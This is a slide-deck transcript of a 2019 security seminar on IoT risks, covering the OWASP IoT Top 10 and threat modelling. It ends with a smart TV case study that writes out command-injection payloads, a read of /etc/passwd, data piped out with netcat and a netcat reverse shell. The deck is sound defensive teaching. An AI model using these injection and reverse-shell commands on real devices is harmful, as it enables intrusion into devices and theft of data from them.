Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

IoT – Breaking Bad

By Mr Cecil Su, Director, Technology Risk Advisory, BDO for the NUS-ISS SkillsFuture Series Seminar: Cybersecurity in Smart Nation (26 June 2019)

  • Login to see the comments

  • Be the first to like this

IoT – Breaking Bad

  1. 1. Cecil Su, Technology Risk Advisory, BDO Advisory Singapore IOT – BREAKING BAD
  2. 2. #WHOAMI § Mission: To promote cybersecurity at large § Moonlighting as an Open Web Application Security Project (OWASP) Evangelist § Secretary for the Association of Information Security Professional (AiSP) § Advisor for the Singapore Honeynet Project § OWASP Global Education Committee (GEC) alumni member § Co-authored the OWASP Testing Guides v3.0 and v4.0 § Co-authored the WASC TC v2.0 § Volunteer Teacher @Hacking Lab ( § Judge for the CSA Cybersecurity Awards 2018/2019 and WorldSkills Competition (Cybersecurity) 2018/2019
  3. 3. OVERVIEW • Motivation • Challenge with IoT • Security & Privacy Risks with IoT • OWASP IoT Top 10 • Threat Modelling IoT • Attacking the IoT Stack • Sample Case Study
  4. 4. I O T What is IoT? “A proposed development of the Internet in which everyday objects have network connectivity, allowing them to send and receive data.”
  5. 5. WHAT IS IOT? o Belkin Wemo o Nespresso Prodigio o Nest o Phillips Hue o Garmin Forerunner o Fitbit o Whiting Blood Pressure Monitor o Meat Thermometers o Weather Stations o Ring doorbell o IP Cameras o Amazon Dash Buttons o Amazon Echo (Alexa) o IP Phones o Pool Pumps o Door Locks o Video Game Consoles o Alarm Systems
  6. 6. MOTIVATION • IoT Security spending is rapidly increasing • IoT introduces an increased number of security threats • IoT security happens on 4 different layers • Increasing automation of IoT security tasks • Cyberespionage groups and petty criminals are the most common IoT attackers
  7. 7. IOT SECURITY HAPPENS ON 4 DIFFERENT LAYERS Device, Communications, Cloud & Lifecycle Management Source: IoT Analytics
  8. 8. IOT IS MORE THAN CONSUMER Hardware hacking “Junk hacking” “Stunt hacking”
  9. 9. IOT BEYOND THE HYPE Sectorial/Municipal IoT o Smart cities o Smart grid Industrial IoT o Connected factories o Agriculture o Logistics Medical IoT o Smart hospitals o Electronic medical records
  10. 10. IOT EXPANDS SECURITY NEEDS IoT CONNECTIVITY Converged, Managed Network Resilience at Scale Security Application Enablement Distributed Intelligence Increased Attack Surface Threat Diversity Impact and Risk Remediation Protocols Compliance and Regulation
  11. 11. SECURITY AND PRIVACY RISKS WITH IOT Heavy startup presence in the field creates security risks o Devices are often crowdfunded or created by new companies who dedicate their limited resources to functionality over security o Recent Hewlett Packard study found that 100% of the home security IoT devices they studied had significant security vulnerabilities No governing body or industry standards for IoT security o Devices are vulnerable to external threats (hackers, ransomware, etc.) and internal mishandling/errors by legitimate custodians of the data Even people who have not purchased an IoT device may be contributing data to it unknowingly o August Smart Locks o Amazon Echo
  12. 12. DATA PRIVACY RISKS Business, employee, and client information could be: • Destroyed • Altered • Stolen and exposed • Held for ransom Understand IoT device data collection policies: • What information is gathered? • How long is the data kept? • What is the data used for (marketing research, etc.)?
  13. 13. THE POWER OF IOT • Big data provide analytics • Business process optimizations • Multiple concurrent access
  14. 14. WHY IT LOOKS SO BAD Breakers have a long history and robust tools o Automated network attack tools o Exploits for most segments of IoT stack o Physical access and hardware hacking Builders are still searching for o Secure toolkits o Proven methodologies o Successful models Result: o Builders cobble together components o Build very fragile full stack solutions o No visibility into security or attack surface o Attackers have a field day
  15. 15. IOT SEARCH ENGINES Tool Link • Internet of Things Scanner • Shodan • Thingful • ZoomEye
  16. 16. MISERABLE TRACK RECORD THUS FAR Luckily most tests are of consumer IoT Testing industrial, sectorial, and other IoT is much trickier Most have heterogeneous brownfield deployments Testers can’t just pop down to NTUC Fairprice to get access to these deployments has done some testing If history is a guide though things probably are not good
  18. 18. OWASP IOT PROJECT An overall IoT security effort o Attack surfaces (present) o Vulnerability lists (working) o Reference solutions (coming) Aggregates community resources Guidance for manufacturers, developers and consumers IoT specific security principles IoT framework assessment
  19. 19. OWASP IOT TOP 10 (CIRCA 2014) Category IoT Security Consideration Recommendations I1: Insecure Web Interface •Ensure that any web interface coding is written to prevent the use of weak passwords … When building a web interface consider implementing lessons learned from web application security. Employ a framework that utilizes security … I2: Insufficient Authentication/Authorization •Ensure that applications are written to require strong passwords where authentication is needed … Refer to the OWASP Authentication Cheat Sheet I3: Insecure Network Services •Ensure applications that use network services don't respond poorly to buffer overflow, fuzzing … Try to utilize tested, proven, networking stacks and interfaces that handle exceptions gracefully... I4: Lack of Transport Encryption •Ensure all applications are written to make use of encrypted communication between devices… Utilize encrypted protocols wherever possible to protect all data in transit… I5: Privacy Concerns •Ensure only the minimal amount of personal information is collected from consumers … Data can present unintended privacy concerns when aggregated… I6: Insecure Cloud Interface •Ensure all cloud interfaces are reviewed for security vulnerabilities (e.g. API interfaces and cloud-based web interfaces) … Cloud security presents unique security considerations, as well as countermeasures. Be sure to consult your cloud provider about options for security mechanisms… I7: Insecure Mobile Interface •Ensure that any mobile application coding is written to disallows weak passwords … Mobile interfaces to IoT ecosystems require targeted security. Consult the OWASP Mobile … I8: Insufficient Security Configurability •Ensure applications are written to include password security options (e.g. Enabling 20 character passwords or enabling two-factor authentication)… Security can be a value proposition. Design should take into consideration a sliding scale of security requirements… I9: Insecure Software/Firmware •Ensure all applications are written to include update capability and can be updated quickly … Many IoT deployments are either brownfield and/or have an extremely long deployment cycle... I10: Poor Physical Security •Ensure applications are written to utilize a minimal number of physical external ports (e.g. USB ports) on the device… Plan on having IoT edge devices fall into malicious hands...
  20. 20. OWASP IOT TOP 10: 2018 Source:
  21. 21. PRINCIPLES OF IOT SECURITY • Assume a hostile edge • Test for scale • Internet of lies • Exploit autonomy • Expect isolation • Protect uniformly • Encryption is tricky • System hardening • Limit what you can • Lifecycle support • Data in aggregate is unpredictable • Plan for the worst • The long haul • Attackers target weakness • Transitive ownership • N:N Authentication
  22. 22. FRAMEWORK ASSESSMENT • Based on a prototypical IoT deployment model • Designed like a checklist or benchmark
  23. 23. ATTACKERS XYZ Entertainment has a lot of intellectual property that I can sell on the black market. I’m going to figure out how to break in via the IoT devices used. • Target identified first • ONLY THEN is the attack considered • More effort spent planning and executing • Usually targeting larger organisations (may not necessarily be true now) Opportunistic Attack I know how to compromise an embedded device with a known vulnerability. I’m going to scan the Internet to find unpatched devices and see whether I can access some valuable data and inject malicious code to infect visitors with the weaponized device. • Exploit and vulnerability identified first • Target doesn't matter, just needs to be vulnerable to exploit • Low-hanging fruit • Smaller organisations usually fall victim (may not necessarily be true now) Targeted Attack
  25. 25. STATE OF IOT SECURITY What we often see in IoT implementations • Security maturity about a decade behind o Weak/default credentials o Replay attacks o Lack of or weak encryption • Often difficult or impossible to patch • Very large ecosystem o Many different connectors, standards, platforms, frameworks, etc. • Security through obscurity • Many embedded developer assume their code will operate in a trusted environment
  26. 26. ATTACKING IOT DEVICES (IOT STACK) • Device • User/Management Interfaces o Mobile Applications o Web o Thick Clients • Hardware Input and Output • Hardware sensors • Local/Global Network • Wireless (BLE, ZigBee, Wifi ,etc.,.) • Cloud Services/API’s
  27. 27. ATTACKING IOT DEVICES (PORTS) • UART • JTAG • SPI • I2C • USB • Ethernet • Etc
  28. 28. ATTACKING IOT DEVICES (RESEARCH TARGET) • Identify hardware components • Download Firmware • Download SDK’s • Public datasheets ( o FCC ID • Identify Ports (UART, JTAG, etc • Shodan for target discovery • Threat modelling
  29. 29. ATTACKING IOT DEVICES (COMMON ATTACK TECH) • Reverse engineering firmware o Hidden secrets (Passwords, Certs, API Keys, etc) o Backdoors, Debug or Administrative features • Radio Attacks (Sniff, Replay, MiTM) • Monitor network traffic • Port scan target/Network attacks • Direct access to device memory
  30. 30. ATTACKING IOT (SKILLS) • Web Application Security Testing • Mobile Application Security Testing • Wireless Testing • Network Penetration Testing • Reverse Engineering • Electronics • Strong appetite and aptitude for learning • and more…
  32. 32. FIVE-STEPS WITH THREAT MODELLING Source: ARM Community, Threat Models & Security Analyses Assets that may need protection: • Firmware • Certificates and device-unique keys • Log-in credentials (user or admin) • System configurations (to ensure your IP cannot be compromised or control taken away) • Event logs • Voice recordings • Network communication • Device resources (for example: microphone array and speakers, computing power and battery, network bandwidth, debug interface, storage) Identify potential adversaries: • Remote software attacker • Network attacker • Malicious insider attacker • Advanced hardware attacker -
  33. 33. STRIDE THREAT MODEL Source: ARM Community, Threat Models & Security Analyses
  34. 34. ATTACK SURFACES Source: ARM Community, Threat Models & Security Analyses
  35. 35. ASSETS VERSUS THREATS Source: ARM Community, Threat Models & Security Analyses
  36. 36. THE SEVERITY OF AN ATTACK Source: ARM Community, Threat Models & Security Analyses
  37. 37. SECURITY OBJECTIVES – ADDRESSING THREATS Source: ARM Community, Threat Models & Security Analyses
  38. 38. DEFINE SECURITY REQUIREMENTS Source: ARM Community, Threat Models & Security Analyses
  40. 40. SO WHERE DOES THAT LEAVE US WITH TM? Take all the assets Associate threat types with each asset Voila! List of things we need to worry about
  41. 41. THE VULNERABILITY ON THE SMART TV • Looking for a way in… • Try arbitrary command : `sleep 5 `
  42. 42. THE FIELDWORK • The menu froze for a while. • Thinking that it might have backtick characters that was injected. Maybe the TV did not expect them and threw an error which prevented it from loading. • Typed in “television `sleep 0`” and tried it again. It loaded instantly. • Decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below: o sleep(2) - 6 seconds o sleep(3) - 9 seconds o sleep(5) - 15 seconds
  43. 43. RUNNING THE COMMANDS • Test cases Command Explanation Chars Succeeded `which nc && sleep 2` which is a linux command that returns the path to a program if it exists. && sleep 2 would freeze the menu for 3*2 seconds if the which function found nc on the TV set. 19 Yes `which ssh && sleep 2` Wanted to see if ssh was installed. 20 No `which wget && sleep 2` But it had wget 21 Yes `cat /etc/passwd && sleep 2` Wanted to see if /etc/passwd was readable. It was, and it would have been a big surprise if it wasn't 26 Yes `cat /etc/shadow && sleep 2` This one is interesting. When there are root privileges the /etc/shadow file is readable. I wanted to test if I am root but the file wasn’t readable. 26 No `ls /etc/shadow && sleep 2` This is the explanation why the shadow file couldn’t be opened. It just didn’t exist. 25 No
  44. 44. GETTING SHELL ACCESS • Plugged the ethernet cable and connected to the laptop • Ran “ipconfig” to determine the IP of the laptop
  45. 45. GETTING SHELL ACCESS • A reverse shell would be handy because it would bypass any possible firewall rules blocking incoming connections. • But before thinking about how to get one in less than 29 characters it is good to learn a little bit more about the system.
  46. 46. GETTING SHELL ACCESS • It was discovered that there is nc installed on the TV set, so the next action is to pipe the output of certain commands through nc back to the laptop. • The first command “id” was executed, which would indicate whether or not root privileges is defaulted on the Smart TV set.
  47. 47. GETTING SHELL ACCESS • The next thing was to obtain a directory listing of / with `ls -la /|nc 5` • Still it had no shell to issue proper commands. All of them were more or less length restricted and not too useful.
  48. 48. GETTING SHELL ACCESS • Since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 5 -e sh` • Perfect. There is now a proper shell to work with. • There were multiple possibilities to mess the TV in a visible way.
  49. 49. GETTING SHELL ACCESS • With this possibility, the avenues available are such as changing the logo that’s being shown during the boot up process, or changing the apps icons.
  50. 50. SOME SMART TV VULNERABILITIES Some recent Smart TV vulnerabilities that were discovered: • CVE-2018-16595: Stack Buffer Overflow memory corruption vulnerability that could lead to app crash. • CVE-2018-16594: Directory Traversal where an attacker can upload an arbitrary file with a crafted file name (e.g.: ../../) that can then traverse the whole filesystem. • CVE-2018-16593: Command Injection vulnerability can run arbitrary commands on the system, which can result in complete remote code execution with root privilege.
  51. 51. FINAL THOUGHTS Privacy in realms of big data is a problem No real technical solution to this one Regulation is probably coming A few organisations (ie., FTC) set to release guidelines next year Consumers may eschew security but business would not Security can be a differentiator
  52. 52. IN CONCLUSION Source: Singapore Cyber Landscape 2018 Report, page 49 porecyberlandscape2018.pdf Ref#19: Boddy, Sara and Shattuck, Justin. “The Hunt for IoT: The Growth and Evolution of Thingbots Ensures Chaos,” F5 Labs – Threat Analysis Report, 13 March 2018, the-growth-andevolution-of-thingbots-ensures-chaos